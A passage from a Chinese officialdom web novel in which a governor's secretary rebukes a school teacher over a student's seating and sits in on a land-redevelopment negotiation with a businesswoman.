李承愿意跟他接触,并且,又要聊公务,李承也没理由拒绝。 ...... 次日,早。 李承掐准时间,在招待宾馆等候孟良德。 “老板早。” 等了不到五分钟,房门打开,孟良德缓步走了出来。 李承上前一步,恭敬的打了声招呼。 “嗯。” 孟良德应了一声,问:“费厂长那边什么态度?” “他很愿意配合政府工作,还说您是一个老领导,有魄力。”李承借着费厂长的话,拍了一个彩虹屁。 “费厂长是一个明事理的人,有他支持,这件事就好办多了。”孟良德满意的点了点头,迈步朝着食堂方向走去。 “老板,还有个小事跟您汇报一下。” 关于费筱筱的事,李承要跟孟良德汇报一声,这样,既能光明正大打着孟省长的旗号,又可以让孟良德加强对教育口的重视。 李承很有把握,这事说出来,孟良德会同意。 “说。” “是这样,昨天我去费厂长家里....” 接下来,李承将费厂长不同意儿媳给老师送钱,导致个头矮小的筱筱,被针对调到最后一排,看不清黑白的事情讲述给了孟良德。 “而且,我听费厂长的儿媳说,曾有家长实名举报过这位老师,结果老师没被处理,那个孩子却天天被叫到办公室罚站。” 李承只传达给孟良德事情,却不表达自己的态度,这也是做秘书的基本准则。 “竟有此事,像这种老师怎么配教书育人!” 第32章 手段 “这样,小李,你今天抽空去一趟市一中,先帮费厂长的孙女把座位调了,再给他们一个警告。” 孟良德的愤怒很快就被掩饰,他沉下脸,对李承说。 校园是培养祖国未来的摇篮,尤其是汉江市第一高中,这是全省高中教育水平的第一名。 汉江市很多高学历人才,都是从这所高中走出去的。 一中,集结了汉江市最优秀的学生,对于这里的教育环境,孟良德十分重视。 “好的老板。”李承微微点头,略显沉思。 “你是不是想问,我为什么不彻查下去,追究这些劣迹教师呀?”孟良德喝了一口白粥,随口问道。 “嗯...” 李承略作沉吟,便给出了回答:“现在是高三最后的冲刺阶段,老板应该是想在学生们高考之后,再去追究这些老师。” 临阵换帅是兵家大忌,学习也一样。 老师对于每个孩子的学习情况都十分了解,这时候换老师,不利于孩子们的学习。 “嗯,不错。” 孟良德继续吃了一口包子,咀嚼咽下后,他再次开口:“不过,你只说对了一半,我并没打算追究在任老师。 人嘛,难免会贪心,会犯错,你和我又能保证以后不会犯错吗?该宽容的情况,要宽容。” 听到孟良德的话,李承有些错愕。 他不懂,孟良德到底是在打着什么算盘。 一向眼里容不得半点沙子的孟省长,怎么又会选择放纵呢? 在李承思索其中深意时,孟良德给出了答案:“资源是有限的,教育环境也是要改善的。 对于校方领导要追究监管不利的责任,对于那些退休教师,上查前十年。” “老板英明。” 这句话,李承不是恭维,而是发自内心的佩服孟良德的政治手腕。 在职教师虽存在违纪行为,但毕竟,这些教师是省里珍贵的资源,这些人,拥有着丰富的教育经验,是不可或缺,也很难被替代的。 把他们给查了,会出现严重的教育亏空,导致教育水平的下滑。 但是,查处校方领导,是对这些教师们的一种严重警告。 而调查那些退休教师,更是变相的在用雷霆手段告诉这些在任教师,不要抱有侥幸心理。 如果不好好履行教师职责,遵守教师作风的话,退休之后就会被收拾。 这种做法,不仅能够震慑那些在职教师,还可以在一定程度上,减轻政府的财政支出。 政府每年给退休教师的工资和福利待遇,可是一笔不菲的数字! 至于说,这种行为是否算作卸磨杀驴,对于政治家来说,无可厚非。 政府节省开支,又能营造良好的教育环境,才是一举两得的好事。 毕竟,苍蝇不叮无缝的蛋,那些没有过违纪行为的教师,政府也不会冤枉他们。 ..... 上午,李承处理好自己的内务,趁着孟良德开会时间,赶往了市一中。 这是公务,李承也不用自己打车和坐公交,可以从小车班调动司机,方便出行。 一中安保做得很到位,来访人员都需要询问登记。 一般家长在没有老师跟保安打招呼的情况下,是进不得学校的。 李承不同。 他是省长的秘书,是东江省政府的‘二号首长’,凭借着口袋里的工作证,在东江省基本没有他进不去的机关单位。 学校也不例外。 李承亮出证件,保安客客气气的便将他请进了学校。 询问了高三所在楼后,李承直奔高三六班而去。 在去会见校长之前,他要亲自去看一看费筱筱的座位是否属实。 不是他不信任费家人,工作性质问题,使他必须要确保没有意外。 现在是上午十点多,走廊一片安静,学生们都在教室中认真听讲。 李承来到高三六班。 里面正在上数学课,李承没有贸然进入教室打扰,他站在教室的后门,通过后门上的小玻璃,朝里面望去。 果不其然,李承看到了费筱筱的身影。 她坐在最后一排靠近垃圾桶的位置,在她前面,是两个男生,个子很高,几乎可以挡住费筱筱的视线。 此时的费筱筱,正伸着脖子,努力的朝黑板上看,表情认真。 李承看到,在她的屁股下面还垫着几本书。 因为她个头,只能通过这种垫高座位的办法,才能看得更清楚一点。 看到这一幕,李承心中十分恼火。 这不仅因为她是费厂长的孙女。 如果费筱筱是那种上课不认真听讲,趴桌子睡觉的学生,李承不至于如此愤怒。 可他看到的是,一个女孩对于学习的渴望,以及一位老师的针对和不负责! 李承在门口站了十几秒,讲台上的老师就察觉到了他,推门走了出来。 “你是哪位同学的家长?” 数学女老师年纪五十岁左右,个子也很矮小,此时正用一种严肃和不耐烦的眼神盯着李承。 “费筱筱。”李承平静的开口:“你是班主任?” 他这次过来,不仅是奉命给老师和校长警告,还是要给费筱筱撑腰,进一步维护和费厂长的关系。 通过这件事让费厂长欠下人情,以后,在锦绣广场的问题上,哪怕会出现一些分歧,念在这份人情,费厂长也会有所思虑。 “对,有事下课到我办公室说,不要耽误其他孩子上课!”班主任瞥了李承一眼,像下达命令一样。 “我在这里站着,也没有打扰上课吧?” 李承并没有进去敲门,只是站在这里,老师却给他扣了一顶耽误所有孩子上课的帽子,让李承有些不悦,声音也冷了下来。 其他同学家长见到班主任,那都是客客气气堆着笑,根本不敢反驳。 李承的态度,让这位班主任非常不爽。 “你站在这里会让孩子分心,怎么不算影响!” 班主任故意将门推开,嗓音也随之扩大,像是故意在给全班同学听:“我说,费筱筱的家长,这里是学校,不是你自己家,你来的什么跟我打招呼了吗? 也不知道保安怎么让你混进来的,很喜欢站在这里偷看偷听是吗?好!” 班主任像放狠话一样,严厉了说完。 她目光看向教室内,抬起手指着费筱筱:“费筱筱,你出来!” 第33章 撑腰 “老师。” 费筱筱走了出来,低着头,目光还是忍不住偷偷瞄向李承。 虽说她年纪小,不知道省长秘书的含金量有多高,但她看到昨晚家人对待李承的态度,也知道李承是来为她撑腰的。 “这是你什么人?”班主任严厉的质问。 “是我叔叔。”费筱筱说。 “你叔叔不是喜欢站在后门偷看偷听吗?那么好,今天所有的课,你都站在后门,从那个玻璃听!” 班主任指着李承所在的位置:“上梁不正下梁歪!” 这不仅是刁钻苛刻和针对,还是当着全班同学的面,去损害一个女孩子的颜面。 费筱筱没有犯错,却被老师呵斥一顿,委屈的泪水含满眼眶,令人怜惜。 “哭什么哭,你还有脸哭?”班主任继续大声呵斥:“是不是你让家长过来的?” “老师,我没有....” 费筱筱逐渐哽咽起来,抹了一把眼泪。 费筱筱这个年纪是自尊心最强的时候,当着众多同学的面被如此的呵斥和诋毁,小姑娘很容易有抑郁情绪。 原本李承只是想敲打她一下,把这个座位换了就算了,剩下秋后算账。 但班主任的行为,彻底惹怒了他。 李承必须把这个面子给费筱筱找回来! “老师,你这么做是不是过分了,老师是要教书育人的,就你这种德行,配得上当老师二个字吗?!” 李承丝毫不给她面子,同样的大声呵斥起来。 “我教了快三十年的书,还轮不到你说教我,你说我不配是吧,那你家孩子我教不了了,你觉得哪个老师配教你家孩子,你就让她去哪个班! 你看看有没有其他老师收你家孩子!” 班主任厉声呵斥,言辞中带着威胁。 “吵什么呢?” 就在这时,远处传来一道严厉的询问声。 李承回头看去,一个五十岁左右,戴眼镜的中年男人匆匆朝着这边赶来。 “马校长您来得正好,我正给孩子们上课呢,费筱筱的家长就跑了进来,我让他有事等下课到办公室讲,他说我不配当老师,不配教书育人....” 见到校长过来,班主任立马恶人先告状,摆出了一副她很委屈的样子。 李承没有反驳他的颠倒是非,目光看向校长:“你就是一中的校长?” “是。”校长打量着李承,点头。 “我记得校长姓陈呀?”李承问。 “陈校长是正校长,我是副校长,我叫马红军。” 马红军的态度很客气,主动向李承伸出手:“李秘书,欢迎您过来视察工作。” 他是听到保安汇报后,匆匆赶过来的。 一般有领导来访,保安都会向他汇报。 但李承来了之后,没有去校长办公室,马红军找了好几个教学层,才找到了这里。 “你认识我?” 李承跟他握了握手,说。 “之前孟省长开教育大会时,我见过您一面,但当天各校领导很多,我还跟您打上招呼。” 马红军态度很谦卑,面带微笑。 可听完他的话,班主任脸色突变,原本是一只要吃人的大老虎,在听到李承的身份后,立马恭敬的站在一旁,像一只乖巧的猫咪。 面上肉眼可见的局促与紧张。 “让你们陈校长过来见我!”李承摆出十足的官架子,道。 “好,我这就通知陈校长。” 马红军连连点头答应,拿起手机,去通知陈校长。 两分钟后,陈校长匆匆赶到。 “李秘书,您好。” 陈校长快步走到李承面前,伸手双手。 李承跟他握了一下,意味深长的说:“陈校长在办公室里,是在处理公务吧?” “啊...是呀,上次孟省长大会上强调,不仅要关心孩子们的学习,还要注重孩子们的心理健康。 这不,我想着筹备一场校园联欢会,缓解一下孩子们的学习压力。” 李承是孟省长的秘书,他说这些,就是想让李承把话传达上去,让孟省长知道,他这位校长紧跟省长的指挥步伐前进。 “呵呵呵...” 李承皮笑肉不笑,挖苦的说:“陈校长还真是负责的好校长啊。” “呵呵..李秘书过奖了。” “负责到两眼不闻窗外事,把自己的本职工作都忘了吧!”李承表情瞬间严肃起来。 闻言,陈校长的笑容僵直在脸上。 “李秘书,您这是什么意思?”陈校长尴尬的问。 同时,他的目光看向了哽咽中的费筱筱,又落在后面局促不安的班主任身上,顿时明白了些许。 “你过来。” 李承冲陈校长说完,拉起费筱筱的小手,迈步走进了教室。 这个牵手的动作,就是在变相的给费筱筱撑腰。 他要当着全班同学的面,挽回费筱筱的颜面,同时,也要狠狠给这位班主任一个教训! 站在讲台上,台下的学生们都是一脸的茫然和看戏的表情。 “陈校长,我问你,以她的个头,你觉得安排在哪个座位合适?”李承问。 “这位同学个子稍显矮小,当然是前两排最佳。”陈校长看了看费筱筱,认真的回答李承。 “那你猜一猜,她现在坐在哪里!”李承问。 陈校长环视下面的座位,基本上是坐无缺席,唯一的空位就是最后一排,靠近垃圾桶的位置。 陈校长的脸色逐渐难堪,恶狠狠的瞪向班主任,开口质问:“刘老师,她这个个头,你给安排到最后一排听课,你脑子是怎么想的?” “校长,我...” 班主任低着头,不敢回应。 她也没有任何的理由来搪塞。 李承径直走到费筱筱的位置,拿起她凳子上的书籍:“陈校长,你好好看啊,你就是负责下的学校,学生需要把书垫到屁股下面才能看清黑板。” “李秘书,这是我的失误,我这就安排给她换座位。”陈校长尴尬的陪着笑脸。 李承冷哼一声:“我看啊,孟省长大会上的讲话,你是只能听懂其音,听不明白其意。 孩子的身心健康,不是什么联欢会就能解决的,要透彻到每一节课的教学环境上!” 第34章 警告 “李秘书,我向您保证,以后类似事情一定杜绝,我也会贯彻落实孟省长在会议上的内容。” 面对李承的教导,陈校长点好附和。 “嗯。” 李承微微点头,看向那位班主任:“刘老师。” 当班主任被李承点名,她一阵惊慌,忙不迭的抬起头,整个人格外紧张。 额头上甚至都冒出了冷汗。 她很清楚,如果李承想要整治她,她分分钟都会面临下岗的风险。 “李秘书,我知道错了...”班主任胆颤着承认错误。 “我问你,费筱筱是上课吵闹了,还不听讲了吗?”李承问。 “没有。”班主任摇头。 “那是顶撞老师,还是勾结校外人员欺负同学了?”李承再次追问。 “也没有。”班主任再次摇头。 “那你为什么要给她调到最后一排坐?”李承步步紧逼。 “这...那个...她视力好,我想着把前排座位让给视力差的同学。” 在这种逼问下,班主任一时间找不到更合适的理由,胡编了个借口。 “呵...一个班级四五十名学生,视力好的就她一个?” 李承被她的解释气到冷笑:“我看啊,是不是因为费筱筱家长没给你送礼,你才这么针对的她啊!” 被李承揭开实情,班主任的脸吓到惨白,脚步踉跄的后退了半步。 “李秘书,我...我没有...”班主任之口否认。 而陈校长看向班主任的眼神更加狠厉。 他作为校长,手底下的老师什么德行,他心里不可能没有数。 今天,他这位一校之长当着这么多同学的面,被李承狠狠的批评了一顿,他的脸面也挂不住。 但他心有怨气,不敢向李承发泄,只能把矛头对准班主任。 “刘老师,我不管你出于什么原因,但你这种行为大大贬低了我们校的优良形象。 如果今天这位小同学是你的孩子,你还会给她安排到那个座位去吗!” 陈校长十分的严厉呵斥着,并给予班主任惩罚:“你现在就做到那个位置上去,把书垫到屁股底下,给我一份检讨!” “校长,我这课还没上完呢...”班主任低声说。 “这节课你晚自习的给同学们补回来,现在就去给我写检讨。”陈校长不容置疑的说。 “知道了。”班主任卑微着答应。 “李秘书,您放心,像这种事情我一定会严苛管理,保证不会有类似事件发生。” 陈校长向李承打起保票。 “嗯,我们去办公室聊聊这些问题。”李承微微点头,迈步朝着教室外走去。 “谢谢李叔叔。” 这时,费筱筱感激的对李承表达了感谢。 “不客气,好好学习。”李承冲她微微一笑,走出教室。 当着这么多人的面,李承其实不想表现出与费筱筱太近的关系,怕引人联想,认为李承是滥用权力。 好在,这件事有孟良德做背书,也就无所谓了。 “李秘书,待会尝尝我这个茶怎么样。” 校长办公室,陈校长拿起茶罐,准备亲自给李承泡茶。 “茶就不喝了,我说两句话就走。” 李承摆手拒绝,直接开口:“教师收受家长礼物这件事,你应该也有耳闻吧?” “我没听过啊,这个还真是不了解,我回去好好调查一下。”陈校长装傻充愣的说。 闻言,李承笑着又摆了摆手。 “话不是空穴来风,这种现象在每个学校都会存在,你们一中也不例外,孟省长说了,让你务必纠正这种恶俗风气,明白吗?”李承严肃的说。 “明白。”陈校长点头。 “这回来是你给提个醒,让你们校内解决,下一次,如果再有这种风气传到省政府,陈校长,你就得亲自去省长那里打报告了。” 校内解决的意思,就是暂不追究此事,给他们一个机会。 陈校长当然很清楚这一点,他松了一口气,连连点头:“谢谢孟省长和李秘书,我一定严查此事。” “嗯,时间不早了,我先回去了。” 李承看了一眼腕表上的时间,起身告辞。 “李秘书您慢走。” ..... 回到省政府,孟良德还在开会。 李承坐在椅子上,继续处理这手头上的公务。 从下级单位递上来的文件,都需要他这位专职秘书先看过一遍,再呈递到孟省长那里去。 不仅是文件,有些举报信,也是由李承先过目。 ‘咯吱’ 正在李承看那些举报信时,办公室的房门被推开了,张俊推门走了进来。 “张处长,有什么事吗?”李承抬头看了他一眼,也没起身。 “这是怎么回事?” 张俊将一个发票摔在了李承的办公桌上,质问起来:“行啊李承,你才当上秘书几天,就知道公款报销你的大吃大喝了,谁给你的这个权利!” 张俊摔在桌子上的发票,就是李承昨天去看望费厂长时购买的礼品。 孟良德当时说不必吝啬,李承也就没节省,买礼品就花了将近两千块钱。 “我这是公用开支,怎么不能报销了?”李承冷哼一声,反驳道。 “什么公用开支需要喝五粮液啊,我看你就是滥用私权,公报私囊!”张俊怒声道。 报销发票上并没有购物清单,很显然,张俊是通过发票联系了卖家。 李承知道,对方这是想尽一切办法,抓住一些有可能存在的破绽,迫切的想要搞自己啊。 “你调查我的购物清单了?”李承脸色一沉,道。 对方的调查,是刻意的在针对,这才是让李承不爽的原因。 “怎么了?查你不应该吗?公款吃喝,你还有理了是吗?”张俊咄咄逼人:“这件事,我会如实跟秦秘书长汇报。” “张处长,你这就有点吹毛求疵了吧,我买这些东西是送礼的,孟省长亲自许可过的。” 李承看着他的小人嘴脸,无奈的解释。 “送什么人需要送五粮液啊,这件事怎么也没提前和综合处打招呼?”张俊继续咄咄逼人。 就在这时,孟良德推门走了进来:“我让李秘书报销的,还用跟你打招呼吗?” 第35章 李美娇来访 “孟省长。” 张俊看到孟良德进门,身体一怔,脸上堆积起笑容,尴尬的解释道:“我这也是怕李秘书犯错误嘛,毕竟,给别人送礼的事件很少发生。” 张俊这话说的没错。 像李承这种省长秘书,都是别人争先恐后的给他送礼,很少有往外送礼,还需要报销的一说。 “还有什么疑议吗?”孟良德冷冷的问他:“需不需要我亲自告诉你,这笔钱花在了哪里?礼送给了谁?” “不,不用,孟省长您说笑了。” 张俊连连摆手,谄媚笑着往门口走去:“没什么事,我就先出去了。” 张俊走后,孟良德开口问:“去市一中了?” “去了,我已经把您的意思传达了下去,让他们先内部整改。”李承道。 “嗯。” 孟良德微微点头,迈步走进办公室。 李承将自己审阅过的文件递到孟良德的办公桌上后,给他沏茶倒好水,便退了出来。 ‘铃铃铃...’ 他刚坐下没一会儿,办公室的电话响了起来。 “喂,您好。” “你好,请问是李承秘书吗?” 电话中传来一道清冷的女人声音,开口询问。 “我是,请问你有什么事情吗?”李承问。 “我是花海集团李美娇,我想约见孟省长,李秘书看看能不能帮我安排个时间。” 女人语气温和的说。 李美娇。 花海集团的董事长,那位在汉江商场,官场上,裹挟着流言蜚语和传奇的女人。 “我看一下行程,稍后给你回。”李承说。 “好的,辛苦李秘书。” 每天的行程表内容,李承工作第一件事就是熟记在脑子里,对于孟省长几点有空档,他很清楚。 但他需要请示一下孟良德。 会见李美娇,两人商谈的一定是锦绣广场的事儿,这不是十分八分能谈完的问题。 如果几分钟能谈完,李承可以擅作主张答应,安排个空档期见面。 但是,他们聊的事情或许会很长,这样就可以需要顶替孟良德会见其他人的时间。 李承要请示一下,看看替换掉哪个更合适。 挂断电话,李承推门走进孟良德的办公室:“省长,花海集团的李美娇刚才来电话,说想见您。” “哦,下午几点有空闲时间。” 孟良德并没有觉得意外,仿佛一切都在他的意料之中。 “下午行程很满,最多空余的时间不到二十分钟。”李承恭敬回道。 “王前今天是不是要来汇报工作?”孟良德问。 “是,王副厅长是2点半。” “让他改天再过来吧,把这个时间给李美娇。”孟良德吩咐道。 现在,锦绣广场的如期复工,是迫在眉睫的大事,是孟良德需要尽快解决的问题。 花海集团作为唯一有意向的投资方,既然李美娇主动上门,孟良德自然要给对方面子。 “好的省长。” 李承答应一声,退出办公室。 他给李美娇回来一个电话,告诉她具体时间。 ‘咚咚咚...’ 下午两点二十,办公室房门被敲响。 “进。” 李承看了一眼时间,知道,大概是李美娇到了。 果不其然,房门被推开,一个颇有气质的貌美女人款款走了进来。 女人只是画了一个淡淡的状,但她那张脸就给人一种妖艳妩媚的感觉,像一只狐狸。 不得不说,四十多岁的年纪,李美娇保养的很好。 皮肤像三十岁出头,可身上那股子成熟女人的气质,又让她看起来十分有韵味。 李承的目光在她的脸上停留了一秒,便知道,为什么她身上那么多流言蜚语,又为什么那么多领导对她一见倾心。 “李秘书,你好。”李美娇柔声开口,她身上没有任何大老板的架子,很客气。 “李总,孟省长还在会见客人,你坐下来稍等一会。”李承倒了一杯水,递给李美娇。 “谢谢。” 李美娇接过水杯,道了声谢:“早就听说孟省长换了新秘书,今天初见,很帅气嘛,像男明星,我想想像谁来着...想起来了,像李现。” “李总过奖了,我要是有李现的长相,我也进军娱乐圈了,哈哈哈。”李承笑着说。 每个人都有虚荣心,都喜欢被夸奖。 自从到了这个位置上,很多人第一面都会夸奖李承,说李承聪明伶俐,年少有为等等... 对于那些夸奖,李承只会觉得虚伪,都是头一次见,没有深入接触,那种夸奖只能被认定是一句客套话。 可李美娇夸奖的长相,长相是初见就可以直观的印象。 这句夸,是夸在了李承的心坎里。 一句话,就让李承觉得,这个女人很好相处,提升了一定的好感度。 “你要不是走了仕途,我还真想当一回星探,跟我那些娱乐公司的朋友推荐推荐你去演戏,哈哈哈。” 李美娇掩嘴轻笑。 她有一点自来熟,却又能拿捏住分寸。 这种女人十分不一般,几句话的功夫,就能将一个陌生人变成朋友。 “我没有那么好的演技,呵呵。” 李承笑着应了一句,说:“李总,您稍等一下,我进去通知省长。” 李承走进省长办公室,对已经聊天进入尾声的孟良德汇报:“省长,李总已经在外面等候了。” “嗯,请她进来吧。” “是。” 李承退出办公室,将李美娇请了进去。 关于锦绣广场的问题,李承也有参与,索性倒完水后也没退出。 “孟省长,幸会。” 李美娇走到孟良德面前,主动伸出手。 “嗯,坐。” 孟良德跟她握了一下,示意李美娇坐下。 “这次过来,是听说昨天锦绣广场发生了举众维权,孟省长您亲自担保,半月内解决此事。 现在,政府遇到了难题,作为东江省的民营企业家,我们花海集团这些年也得到了不少政府的帮扶,我想,是时候该为政府和孟省长出一份力了。” 李美娇落座后,口齿伶俐的说出了此行的来意。 李承听到她的话,暗道一声:厉害。 明明谈的是生意,她却摆出了一副对政府感恩戴德的样子,并对孟良德投去靠拢之意。 可以说,她的每句话都踩在了孟良德的好感度上.... 第36章 诚意与套路 “李总,你能有这样的觉悟,是我们东江省企业家的榜样。” 对方是打着帮政府排忧解难的旗号,孟良德对她的态度自然温和许多。 “这是我应该做的,我一直在跟公司高层强调,花海集团的成就取之于社会,就该回报于社会。” 李美娇莞尔一笑,伸手打开了她的爱马仕包包,拿出两份文件。 “孟省长,您看一下,这是我让法务准备的两版合同,有没有符合您心意的。” 她微微欠身,双手恭敬的递到孟良德面前。 “嗯。” 孟良德满意点头,接过文件,审阅起来。 在孟良德看文件的期间,李承给两人的杯中再次续上茶水。 “李秘书,你也看一下。” 孟良德看完之后,将计划书递向李承。 “好的省长。”李承受宠若惊,表情却平静的应下。 省长让自己也参与进来,这是对他这位秘书的信任。 李承快速的翻看了一遍。 第一本计划书,花海集团承担锦绣开发商遗留下来的纺织厂和银行贷款义务,但不承担业主损失。 这本计划书看一眼就要被淘汰,业主损失才是最大头,这部分损失让政府来承担的话,不如整个项目都由政府接手,进行一把抓。 第二本计划书,花海集团和政府共同承担所有义务,但是花海集团要锦绣广场十年的独家分红。 也就是说,政府和花海集团共同出资堵上锦绣广场的窟窿,但是,前十年的收益归花海集团所有。 这就有点像,政府向花海集团借了一个十年的贷款一样。 政府拿一半的钱出去,十年之后才有收益。 对政府来说,似乎更不划算。 但换位思考,站在花海集团的角度想,他们拿出巨额资金来填一个大窟窿,如果没有好处,他们也不划算。 生意人,嘴上说得再好听,终究也是讲收益的。 “李秘书,你觉得如何?” 孟良德见李承合上计划书后,点燃一根香烟,淡淡的问。 这一刻,李承明白了孟良德给他看计划书的目的。 这是想借他的嘴,把一些孟良德不能直接表达的话,表达出去。 “我个人觉得,长久看来跟花海集团合作,不如政府一把抓。”李承直言道。 这句话李承说可以。 但孟良德不能说。 孟良德如果自己说,他就不能自已往回圆,那就等于是自己打自己脸,所以,他需要一个嘴替。 因为政府的根本利益出发,是需要跟花海集团合作的,孟良德不能把话堵死。 “是啊,李总,锦绣广场的情况你也了解,这两本计划书,采用哪一种,对政府的损失都有不少呀。” 孟良德吸了一口烟,淡淡的道。 “孟省长,花海集团还有股东,我想全权接手,股东们不同意呀,他们也要为自身利益考虑,毕竟,锦绣集团的窟窿不小。” 李美娇为难的诉了句苦,在她那张俏美的脸上,对于两份计划书被否,没有半点意外之色。 仿佛一切都在她的意料之中。 “我心中还有一种合作办法,斗胆向您做下汇报。”李美娇继续说。 闻听此言,孟良德目光变得意味深长起来:“但说无妨。” “银行贷款由花海集团承担,业主购买商铺的钱,花海集团按照当日活期存款利率,连本带息如数退后。 但是,花海集团在锦绣广场项目上,不与纺织厂进行合作。 如果政府愿意给纺织厂批一块新地皮的话,我们花海集团愿意出资,无偿资助他们建设新厂区。” 李美娇微笑着,缓慢说出了她的计划。 李承在审计局这些年,见过的大老板不计其数。 掌管上亿,几十亿,甚至百亿公司的董事长,也都接触过不少。 但李美娇在这群人中,也绝对算得上翘楚。 无论是这种圆滑处事的能力,还是缜密布局的心思,让李承对此人刮目相看。 这女人,可不只是单单传闻中靠美色上位的角色,她的智慧,为人之道,绝对算作顶流。 从她进门见到孟良德开始,每一句话,每一个动作,都格外有深意。 见面的前两句话,表明了对孟良德和政府的诚心,抬高了她和花海集团的档次。 又不多做啰嗦,直接拿出了自己的诚意。 两本合作计划书的目的,一,是让孟良德见到她的诚意,二,是提前给孟良德埋下一个心理预期。 让孟良德在内心深处,做出最坏的合作打算。 而她口头说出的第三个计划,才是她这次过来会见孟良德的最终目的。 其他都是铺垫。 这叫求上得中。 第三个计划中的每一句,都充满了精心设计。 对于已经做好亏损准备的银行,业主,和纺织厂来讲,绝对能够抚平他们。 只要能安顿好这三方,又不需要掏钱,对政府来说,就是最好的结果。 而对花海集团来讲,短暂可能会出现亏损现象。 但是,当初锦绣广场卖给那些业主商铺时,开发商为了快速套现是低价处理的,建设成功后,价值远不止于此。 而花海集团又借机,仅凭借偏远地带的新厂区,就踢掉了纺织厂这个合作商,实现百分百控股。 对于花海集团的商业蓝图来讲,绝对划算。 “呵呵呵...” 听到李美娇这个计划,孟良德意味深长的笑了笑:“李总果然是女中豪杰啊,商业智慧让人钦佩。” 这句话,李承并没有听出夸奖的意思。 更给人一种挖苦的感觉。 孟良德何等聪明之人,稍微思考,便猜透了李美娇的真实目的。 “无论是政府,受害者,还是我们花海集团,我想,只有这种合作方式能够达到三方共识。” 李美娇嫣然一笑,说。 “纺织厂和业主那边,没那么容易妥协。”李承开口道。 孟良德将他留下来,就等于给了他开口讲话的权力。 但这种开口,也分对象,如果是官场上的人物,一些领导类的,李承只有听的份。 但面对李美娇这些商人,他可以说。 人性是贪婪的,也是善变的。 如果这个项目烂尾,大家肯定争先恐后的求不亏损。 可项目如果有再次动工的苗头,那些低价购买商铺的业主,还有纺织厂的集体员工们,一定不会同意。 不想吃亏,只想捡便宜,这就是人性! 第37章 共识 “他们不妥协的话,就需要麻烦政府在中间做调解工作了。” 李美娇冲孟良德微微一笑,目光转而看向李承:“李秘书,说句难听点的话,他们现在还能拿到钱,总比烂尾无人接手好得多吧。” “业主那边,我会让市里去协调,如果有分歧,你们华海集团也要适当的让步。” 对于业主方面,孟良德等于是默许了李美娇的方案。 毕竟,这些业主们能被骗,绝大多数人还是源于贪心。 这群人闹事时,口口声声喊的预售证不合规,地基没建起来就能售卖是政府监管不利。 可他们在购买时,难道不知道地基没建起来吗? 难道就没想过这种低廉的价格,可能是隐患或骗局吗? 这群人一定想过,但他们被贪婪蒙蔽了双眼。 而这种低廉的价格,本就不该购买到这么优质地段的商铺,因此,孟良德才会默许退款方案。 “至于纺织厂那边,你的提议不行。”孟良德否决了李美娇的这个提议。 地皮归属权是纺织厂的,纺织厂是全员持股。 用一块明月新区的核心位置地皮,换一个郊区外的新厂房,纺织厂员工不能同意,孟良德也不会纵容这种不公平交易的发生。 对于孟良德的否决,李美娇也不失落。 “如果不能拿到锦绣广场的百分百控股,这对于花海集团来讲,就是一门亏损的生意了。 孟省长,为了支持政府工作,我们可以少赚甚至是不赚,但亏本的生意,我做不得呀。” 李美娇莞尔一笑,微微摇头。 “锦绣广场北侧那片地,政府准备拆迁做住宅,花海集团有没有兴趣呀?”孟良德沉默片刻,端起茶杯抿了一口,悠悠说道。 “有钱赚的生意,我们花海集团都感兴趣。” 李美娇笑了起来,这次的笑容,有几分真挚在其中:“如果锦绣广场建设起来,将北侧开发为住宅,南侧开发为写字楼,就基本可以确定明月新区中心的基调了。” 李美娇的意思很明显,这是南侧的开发权,她也想要。 看着李美娇的笑,李承甚至有种错觉,好像从头到尾,都在这个女人的意料之中,算计之内。 她一步步引导着孟良德,进入她设计好的条件中。 “纺织厂的条件继续履行,我将南北侧的开发权给到你们花海集团,如何?”孟良德道。 这是一次利益交换。 也是孟良德曾在常百利耳边透露过的选择。 虽说,从李美娇进门到现在,没有主动提过用其他土地开发去做交换,但她的言行举止,都在引导向这个方向。 要说常百利没给她透信,绝不可能。 “既然孟省长这么信任我和花海集团,那就恭敬不如从命了。”李美娇嫣然一笑,跟孟良德达成了一致合作。 “嗯,我会通知到市里,后续工作你跟他们联系。”孟良德道。 “好的,孟省长,那就不打扰您时间了。” 李美娇满意的点了点头,起身告辞。 李承将李美娇送出省长办公室后,又重新折返了回来。 “对于李美娇这个人,你怎么看?” 孟良德指着下自己对面的位置,示意李承坐下。 李承半个屁股坐在沙发上,想了想,说:“是一个精于算计的女人,今天的合作达成,好像一切尽在她意料之中似的。” “是呀,从一开始,她的目标就是那两块地。” 孟良德点燃一根香烟,吸了一口,微微摇了摇头:“其实,她可以从一开始就开诚布公的讲,没必要弯弯绕绕一大圈,反而让人心机重。” 听到这话,李承知道,今天李美娇看似聪明的表现,实际上,已经惹得孟良德有些厌倦了。 这也给李承提了一个醒,以后在孟良德面前,更要坦承。 “她或许是怕省长您猜到,常厅长给她透露口风了吧。”李承道。 “呵呵...” 孟良德淡淡笑了笑,说:“眼下解决锦绣广场的问题是关键,她愿意出钱出力,就由她了。” 李美娇的算盘,孟良德早已经看破。 看似李美娇好像一直是在掌握主动权,实则是孟良德不愿计较。 他选择退让的原因,是在利益驱动下的结果。 那两块地皮迟早要开发,花海集团又有实力,交给花海集团也是一种选择,这次合作站在政府的角度,本身就是两全其美的事。 “你联系一下张建军同志,把刚才的谈话内容传达过去,让他务必监督,一切按照流程和规定执行。”孟良德道。 按照流程和规定执行,这句话很有深意。 这是刚给了李美娇一个甜枣,又准备再给一巴掌,提醒对方。 “好的,省长。” ..... 晚上。 李承将孟良德送回招待宾馆后,谢绝了王师傅的好意相送,等在路边。 不一会儿,一台白色的大众高尔夫停在了他面前,车窗降下,许梦冲他露出灿烂的笑:“承哥,上车。” 李承拉开车门,坐进了副驾驶。 今晚,许梦主动邀请李承,说上次是工作邀请,这次是她私下请李承,为了表示上次李承帮助她的谢意。 李承本就有意与许梦接触,对方主动邀约,他也没拒绝。 “承哥,你有什么想吃的吗?”许梦撩了一下头发,一股香气飘散而开。 为了见李承,许梦特意精心装扮了一番。 “都可以。”对于吃,李承向来不挑剔。 一个人在家的时候,他经常靠泡面糊弄。 “那还吃火锅?”许梦小心翼翼的询问。 “好啊,上次那家味道还不错。” 李承笑着答应,问:“你很爱吃火锅吗?” “嗯,我们川渝妹子,无辣不欢,那家火锅很符合我的口味。”许梦笑盈盈的说。 “你是川妹子?”李承诧异。 他也接触过川渝地区的人,基本都有些许口音,可在许梦口中,他没听到过。 不过仔细想想,对方是主持人,普通话是基本。 “要得,没看出来嘛...” 许梦笑了笑,用家乡话回应了李承。 第38章 恶意别车 “许梦,你这驾照刚考下来不久吗?” 李承坐在副驾驶,手紧紧拉着棚顶的扶手。 